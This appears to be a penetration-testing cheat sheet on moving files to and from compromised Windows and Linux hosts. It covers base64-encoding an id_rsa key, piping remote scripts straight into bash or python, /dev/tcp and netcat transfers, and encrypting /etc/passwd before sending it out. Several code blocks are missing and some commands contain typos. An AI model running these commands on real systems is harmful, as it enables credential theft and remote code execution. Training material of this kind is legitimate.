ποΈFile Transfers
Windows Methods Downloading
PowerShell Base64
Linux
Check MD5 Hash:
md5sum id_rsa
Encode the file in base64:
cat id_rsa | base64 -w 0;echooutput:
LS0tl1.........Z1
PowerShell
Decode:
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<BASE64_STRING>")
Check MD5 hash:
id_rsa -Alorithm md5
PowerShell Web Downloads
HTTP and HTTPS outbound traffic is usually allowed through a firewall.
In PowerShell, we can use the System.Net.WebClient command to download a file.
Method
Description
Returns the data from a resource without blocking the calling thread.
Downloads data from a resource and returns a Byte array.
Downloads data from a resource and returns a Byte array without blocking the calling thread.
Downloads data from a resource to a local file.
Downloads data from a resource to a local file without blocking the calling thread.
Downloads a String from a resource and returns a String.
Downloads a String from a resource without blocking the calling thread.
File Download
Download String (Fileless)
Web Request
Other Types
Common Errors
if Internet Explorer has not been configured we can bypass this using the -UseBasicParsing
If we get an SSL/TLS certificate is not trusted we can bypass it with:
SMB Download
First, create an SMB server using Impacket
sudo impacket-smbserver share -smb2support /tmp/share
Window later version blocks guest access
To authenticate add the params:
-user <USER>-password <PASS>
To download a file
copy \\<IP>\share\file.exe
Mount a SMB server
net use n: \\<IP>\share /user:<USER> <PASS>
FTP Download
We start by configuring a FTP server
sudo pip3 install pyftpdlibsudo python3 -m pyftpdlib --port 21
Transfer files using PowerShell
(New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\Users\Public\<FILE>')
If we don't have an interactive shell then we can make a FTP command file
Uploads
Encoding File using PowerShell
Decode using Linux
PowerShell Web Uploads
Doesn't have a built-in function for uploads.
We can use Invoke-WebRequest
First, we need to set up the web server
pip3 install uploadserver
python3 -m uploadserver
PowerShell to upload a file to the Python Upload Server
PowerShell Base64 Upload
PS script to upload a file to Python
Linux Methods
Encode a file with base64
cat id_rsa | base64 -w 0;echo
Then decode
Downloading Files
Wget
wget http://<URL>/file.ext -O /tmp/file.ext
Curl
curl -o /tmp/file.sh http://<URL>/path/file.sh
Bash
If other tools are not available we can use Bash
Connect to a target Web server
exec 3<>/dev/tcp/<IP>/<PORT>
HTTP GET
echo -e "GET /script.sh HTTP/1.1\n\n">&3
Print Response
cat <&3
Fileless Downloads
Gets executed immediately with Bash in this case
curl http:<IP>/script.sh | bash
wget -q0 http://<URL>/path/file.py | python3
SSH
scp <user>@<IP>:/root/filex.txt .
Web Uploads
Upload server for HTTPS
Create a self-signed certificate
Start Server
Upload Multiple Files
SSH Upload
Transfer with Code
One Liners
With Python, we can use the -c option to run commands
Python2 Download
Python3 Download
Uploading:
PHP
With PHP we can use the -r option to run commands
Downloading with file_get_contents
file_get_contentsDownload with fopen
fopenDownload a file and pipe to Bash
Ruby Download
Perl Download
JavaScript
Run in Windows and Download
VBScript
Download a file in Windows
Miscellaneous Methods
Netcat
Listening and Downloading
nc -l -p 4444 > file.exe
Sending a file
nc -q 0 10.10.120.10 8000 < file.exe
Sending file as Input to Netcat
sudo nc -l -p 443 -q 0 < file.exe
Receive File
nc <IP> 443 > file.txt
Ncat
Listening and Downloading
ncat -l -p 4444 --recv-only > file.exe
Sending a File
ncat --send-only 192.168.49.128 8000 < file.exe
Sending a file as Input to Ncat
sudo ncat -l -p 443 --send-only < file.exe
Receive File
cat < /dev/tcp/<IP>/443 > file.exe
RDP
Mounting a Linux Folder using xfreerdp
File Encryption
Windows
One of the easiest methods is using this PowerShell script
PS > Import Module .\Invoke-AESEncryption.ps1
PS > Invoke-AESEncryption -Mode Encrypt -Key "password" -Path .\sensitive-info.txt
Linux
Using OpenSSL with the aes256 encryption
Encryption:
openssl enc -aes256 -iter 100000 -pkbdf2 -in /etc/passwd -out passwd.enc
Decryption:
openssl enc -d -aes256 -iter 100000 -pkbdf2 -in passwd.enc -out passwd
Useful Tools
Uploading files and grabbing them without any setup
Last updated
Was this helpful?